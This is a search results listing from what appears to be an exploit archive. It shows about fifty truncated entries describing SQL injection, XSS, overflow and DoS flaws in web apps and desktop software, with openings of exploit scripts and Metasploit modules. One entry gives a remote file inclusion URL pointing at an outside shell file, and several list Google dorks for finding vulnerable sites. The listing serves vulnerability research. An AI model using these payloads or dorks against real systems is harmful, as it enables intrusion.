56796 matches found
Mavi Emlak 'newDetail.asp' SQL Injection Vulnerability
No description provided by source. source: http://www.securityfocus.com/bid/33041/info Mavi Emlak is prone to an SQL-injection vulnerability because it fails to properly sanitize user-supplied input. Attackers may exploit this issue to compromise the application, access or modify data, or exploit...
Soldier of Fortune II <= 1.3 Server/Client Denial of Service Exploit
No description provided by source. / by Luigi Auriemma / include stdio.h include stdlib.h include string.h ifdef WIN32 include winsock.h / Header file used for manage errors in Windows It support socket and errno too this header replace the previous sockerrX.h / include string.h include errno.h...
WinRAR <= 3.60 beta 6 (SFX Path) Stack Overflow Exploit PoC
No description provided by source. WinRAR - Stack Overflows in SelF - eXtracting Archives ====================================================== Tested Versions..: WinRAR 3.60 beta 4 Author.............: posidron An SFX SelF-eXtracting archive is an archive, merged with an executable module, whic...
PhotoStand 1.2 Index.PHP Cross-Site Scripting Vulnerability
No description provided by source. source: http://www.securityfocus.com/bid/22707/info PhotoStand is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input. An attacker may leverage this issue to execute arbitrary script code in the...
IMG2ASCII - Cross Site Scripting Vulnerability
No description provided by source. ======================================================================================== | Title : IMG2ASCII Cross Site Scripting Vulnerability | | Author : indoushka | | email : [email protected] | | Home : Souk Naamane - 04325 - Oum El Bouaghi - Algeria...
Pixel Motion 0 index.php date Parameter SQL Injection
No description provided by source. source: http://www.securityfocus.com/bid/17260/info Pixel Motion is prone to multiple SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. A successful explo...
promise webpam 2.2.0.13 - Multiple Vulnerabilities
No description provided by source. Promise WebPAM v2.2.0.13 Multiple Remote Vulnerabilities Vendor: Promise Technology, Inc. Product web page: http://www.promise.com Affected version: 2.2.0.13 Summary: WebPAM is a web based Promise Array Management Software that's easy-to use, designed to simplif...
Pragma Systems InterAccess TelnetD Server 4.0 Terminal Configuration Vulnerability
No description provided by source. source: http://www.securityfocus.com/bid/1001/info The Pragma Systems InterAccess TelnetID Server 4.0 can be crashed by sending invalid, unexpected characters in the client's terminal configuration settings. This causes telnetd.exe to GPF, and will cause the...
vSignup 2.1 - Remote SQL Injection Vulnerability
No description provided by source. source: http://www.securityfocus.com/bid/6606/info A vulnerability has been discovered in vSignup. It has been reported that various PHP scripts used by vAuthenticate are prone to SQL injection attacks. This issue may be exploited by an unauthorized attacker to...
Microsoft Windows XP/2003 Explorer WMF File Handling Denial of Service Vulnerability
No description provided by source. source: http://www.securityfocus.com/bid/22715/info Microsoft Windows Explorer is prone to a denial-of-service vulnerability. A remote attacker may exploit this vulnerability by presenting a malicious file to a victim user. Users do not have to open the file --...
DVD-Lab Studio 1.25 DAL File Open Crash
No description provided by source. DVD-Lab Studio 1.25 DAL File Open Crash =================================================================================== Exploit Title:DVD-Lab Studio 1.25 Malicious DAL File Denial of service Download...
Ol Bookmarks Manager 0.7.4 - Remote SQL Injection Vulnerability
No description provided by source. ========================================================================== Ol Bookmarks Manager 0.7.4 root Remote SQL Injection Vulnerabilities ========================================================================== Found by: Cyber-Security...
XHP CMS <= 0.5 (upload) Remote Command Execution Exploit
No description provided by source. !/usr/bin/php -q -d shortopentag=on ? echo XHP CMS = 0.5 remote cmmnds xctn\r\n; echo by rgod [email protected]\r\n; echo site: http://retrogod.altervista.org\r\n\r\n; echo dork: \powered by XHP CMS\r\n\r\n; if $argc4 echo Usage: php .$argv0. host path cmd...
EQdkp <= 1.3.1 (Referer Spoof) Remote Database Backup Vulnerability
No description provided by source. Title: EQdkp = 1.3.1 Referer Spoof to access to SQL Database URL: http://www.eqdkp.com Hook: Powered by EQdkp Author: Eight10 Contact: [email protected] --------------------------------------------------------------------------------------------------------...
BisonFTP 4R1 - Remote Denial of Service Vulnerability
No description provided by source. source: http://www.securityfocus.com/bid/14079/info BisonFTP is prone to a remote denial-of-service vulnerability. A remote attacker may exploit this issue to deny service for legitimate users. Reports indicate that the issue may be exploited only after successf...
MaxWebPortal 1.3x post.asp Multiple Parameter XSS
No description provided by source. source: http://www.securityfocus.com/bid/13601/info MaxWebPortal is affected by multiple remote vulnerabilities. These issues may allow an attacker to carry out cross-site scripting, SQL injection and HTML injection attacks. MaxWebPortal 1.3.5 and prior versions...
vBulletin 2.x/3.x Multiple Cross-Site Scripting Vulnerabilities
No description provided by source. source: http://www.securityfocus.com/bid/18444/info vBulletin is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input. An attacker may leverage these issues to have arbitrary script code execute in the...
Red Hat Directory Server 7.1 - Multiple Cross Site Scripting Vulnerabilities
No description provided by source. source: http://www.securityfocus.com/bid/23709/info Red Hat Directory Server is prone to multiple cross-site scripting vulnerabilities because the application fails to sufficiently sanitize user-supplied input. An attacker can exploit these issues to steal...
RunCMS 1.2/1.3 PMLite.PHP SQL Injection Vulnerability
No description provided by source. source: http://www.securityfocus.com/bid/16652/info RunCMS is prone to an SQL-injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. Successful exploitation could allow...
Adobe Reader X 10.1.4.38 - BMP/RLE Heap Corruption
No description provided by source. ''' Title: Adobe Reader X BMP/RLE heap corruption Product: Adobe Reader X Version: 10.x Product Homepage: adobe.com Binary affected: AcroForm.api Binary Version: 10.1.4.38 Binary MD5: 8e0fc0c6f206b84e265cc3076c4b9841 Configuration Requirements...
Social Engine 4.2.5 - Multiple Vulnerabilities
No description provided by source. Title: ====== Social Engine v4.2.5 - Multiple Web Vulnerabilities Date: ===== 2012-07-31 References: =========== http://www.vulnerability-lab.com/getcontent.php?id=672 VL-ID: ===== 672 Common Vulnerability Scoring System: ==================================== 3...
Panda Global Protection 2010 local Dos (unfiltered wcscpy())
No description provided by source. include windows.h include string.h include ddk/ntapi.h include tlhelp32.h define SystemModuleInfo 11 / Program : Panda Global Protection 2010 3.01.00 Homepage : http://www.pandasecurity.com Discovery : 2010/04/09 Author Contacted : 2010/07/15 Status of vuln :...
Apple iTunes <= 9.0 '.pls' File Buffer Overflow Vulnerability
No description provided by source. source: http://www.securityfocus.com/bid/36478/info Apple iTunes is prone to a buffer-overflow vulnerability because the software fails to bounds-check user-supplied data before copying it into an insufficiently sized buffer. An attacker can exploit this issue t...
Traq <= 2.3 Authentication Bypass / Remote Code Execution Exploit
No description provided by source. ?php / ----------------------------------------------------------------- Traq = 2.3 Authentication Bypass / Remote Code Execution Exploit ----------------------------------------------------------------- author...............: Egidio Romano aka EgiX...
MS13-009 Microsoft Internet Explorer COALineDashStyleArray Integer Overflow
No description provided by source. This file is part of the Metasploit Framework and may be subject to redistribution and commercial restrictions. Please see the Metasploit Framework web site for more information on licensing and terms of use. http://metasploit.com/framework/ require 'msf/core'...
Vavoom <= 1.19.1 [Multiple Vulnerabilities] Denial of Service Exploit
No description provided by source. / by Luigi Auriemma / include stdio.h include stdlib.h include string.h include time.h include zlib.h ifdef WIN32 include winsock.h / Header file used for manage errors in Windows It support socket and errno too this header replace the previous sockerrX.h /...
GetSolutions GetIntranet 2.2 - Multiple Remote Input Validation Vulnerabilities
No description provided by source. source: http://www.securityfocus.com/bid/11149/info Reportedly getSolutions getIntranet is affected by multiple remote input validation vulnerabilities. These issues are caused by a failure of the application to properly sanitize user-supplied input. These issue...
JForJoomla JReservation Joomla! Component 1.5 - 'pid' Parameter SQL Injection Vulnerability
No description provided by source. !/usr/bin/perl -w --------------------------------------------------------------------------------- joomla component comjreservation pid Blind SQL Injection Vulnerability --------------------------------------------------------------------------------- Author :...
SMF <= 2.0.1 - SQL Injection, Privilege Escalation
No description provided by source...
Computalynx CMail 2.3 Web File Access Vulnerability
No description provided by source. source: http://www.securityfocus.com/bid/281/info A vulnerability in Computalynx's CMail allows remote malicious users to steal local files. Compulynx's CMail is a Win32 mail server program. One of its features is allowing users to access their email with a web...
Corel VideoStudio Pro X3 (.mp4) Buffer Overflow
No description provided by source...
PayProCart <= 1146078425 Multiple Remote File Include Vulnerabilities
No description provided by source. google dork :powered by: profitCode exploite: http://url/index.php?proMod=http://shell.txt? discoverde by momo26 ;!!!!!!!!!!!!!!! +-------------------------------------------------------------------- + + ppalCart V2.5 EE Remote File Inclusion +...
Adobe SVG Viewer 3.0 postURL/getURL Restriction Bypass Vulnerability
No description provided by source. source: http://www.securityfocus.com/bid/8785/info Adobe SVG Viewer ASV is prone to an issue in the implementation of the getURL and postURL methods. These methods are designed to prevent access to URIs in a foreign domain or local files. However, by using a...
vSpin Classified System 2004 cat.asp cat Parameter SQL Injection
No description provided by source. source: http://www.securityfocus.com/bid/21190/info vSpin Classified System is prone to multiple input-validation vulnerabilities, including SQL-injection and cross-site scripting issues, because the application fails to sufficiently sanitize user-supplied data...
NeoMail NeoMail.PL SessionID Parameter Cross-Site Scripting Vulnerability
No description provided by source. source: http://www.securityfocus.com/bid/17728/info NeoMail is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. An attacker may leverage this issue to have arbitrary script...
Andy's PHP Knowledgebase 0.92.9 - Arbitrary File Upload Vulnerability
No description provided by source. ============================================================== Andy's PHP Knowledgebase Arbitrary File Upload Vulnerability ============================================================== ,--^----------,--------,-----,-------^--, | ||||||||| --------' | O .. CWH...
phpscripte24 Live Shopping Multi Portal System SQL Injection Vulnerability Exploit
No description provided by source...
Omegaboard <= 1.0beta4 (functions.php) Remote File Include Vuln
No description provided by source. ----------------------------------------------- Omegaboard v1.0b4 phpbbrootpath Remote File Include Exploit ----------------------------------------------- Author: xoron xoron.biz - xoron.info ----------------------------------------------- Code: includeonce...
Sitecom N300/N600 Devices - Multiple Vulnerabilities
No description provided by source. Multiple vulnerabilities on Sitecom N300/N600 devices ===================================================== ADVISORY INFORMATION Title: Multiple vulnerabilities on Sitecom N300/N600 devices Discovery date: 01/06/2013 Release date: 19/08/2013 Credits: Roberto...
QContacts 1.0.6 (Joomla component) SQL injection
No description provided by source. Exploit Title: QContacts 1.0.6 Joomla component SQL injection Google Dork: inurl:/components/comqcontacts/ Date: Decembar/08/2011 Author: Don BalcanCrew & BalcanHack Software Link: http://www.latenight-coding.com/joomla-addons/qcontacts.html Version: 1.0.6 Teste...
GreyMatter WebLog <= 1.21d Remote Command Execution Exploit (1)
No description provided by source. include stdio.h include windows.h include winsock2.h define RETCONNERR 4 // Connection error define RETSOCKERR 3 // Return for socket error define RETRESVERR 2 // Error code for cannot resolve host define RETOK 1 // Return OK pragma commentlib,wsock32 define...
First Escort Marketing CMS Multiple SQL Injection Vunerabilities
No description provided by source...
iGaming CMS <= 1.5 - Multiple Remote SQL Injection Exploit
No description provided by source. !/usr/bin/perl ---------------------------------------------------------- iGaming = 1.5 Multiple Remote SQL Injection Exploit Perl Exploit - Output: id:admin:password Discovered On: 23/09/2008 Discovered By: StAkeR - StAkeRathotmaildotit Proud To Be Italian...
ClassifiedZONE 1.2 Accountlogon.CFM Cross-Site Scripting Vulnerability
No description provided by source. source: http://www.securityfocus.com/bid/17273/info The classifiedZONE script is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. An attacker may leverage this issue to hav...
Allied Telesyn TFTP Server 1.9 - Long Filename Overflow
No description provided by source. $Id: attftplongfilename.rb 11882 2011-03-05 21:00:57Z bannedit $ This file is part of the Metasploit Framework and may be subject to redistribution and commercial restrictions. Please see the Metasploit Framework web site for more information on licensing and...
Mozilla Firefox 2.0.0.3 Href Denial of Service Vulnerability
No description provided by source. source: http://www.securityfocus.com/bid/23747/info Firefox is prone to a remote denial-of-service vulnerability. An attacker may exploit this issue by enticing victims into opening a maliciously crafted HTML document. Successful exploits can allow attackers to...
Cisco CallManager <= 4.2 / CUCM 4.2 Logon Page lang Parameter SQL Injection
No description provided by source. source: http://www.securityfocus.com/bid/25480/info Cisco Unified CallManager and Unified Communications Manager are prone to multiple input-validation vulnerabilities because the applications fail to properly sanitize user-supplied input. These issues include a...
php microcms 1.0.1 - Multiple Vulnerabilities
No description provided by source. ''' | / |/ \ /\ | | | | \ | \ / | | | | / \ | | | | | | | |/| | | | |/ /\ | | | | | | | | || / \ || | | | || ||// \/|/ http://www.exploit-db.com/moaub-15-php-microcms-1-0-1-multiple-remote-vulnerabilities/ ''' Title : PHP MicroCMS 1.0.1 Multiple Remote...
SePortal 2.5 - SQL Injection
No description provided by source. Exploit Title: SePortal 2.5 SQL Injection Google Dork: Powered by SePortal 2.5 Date: Decembar/08/2011 Author: Don BalcanCrew & BalcanHack Software Link: http://seportal.org Version: 2.5 Tested on: LiteSpeed Vulnerability:...
textcounter.pl 1.2 Arbitrary Command Execution Vulnerability
No description provided by source. source: http://www.securityfocus.com/bid/2265/info textcounter.pl is distributed through Matt's Scripts archive, and provides added features to httpd servers such as counters, guestbooks, and http cookie management. Due to insufficient checking of entered...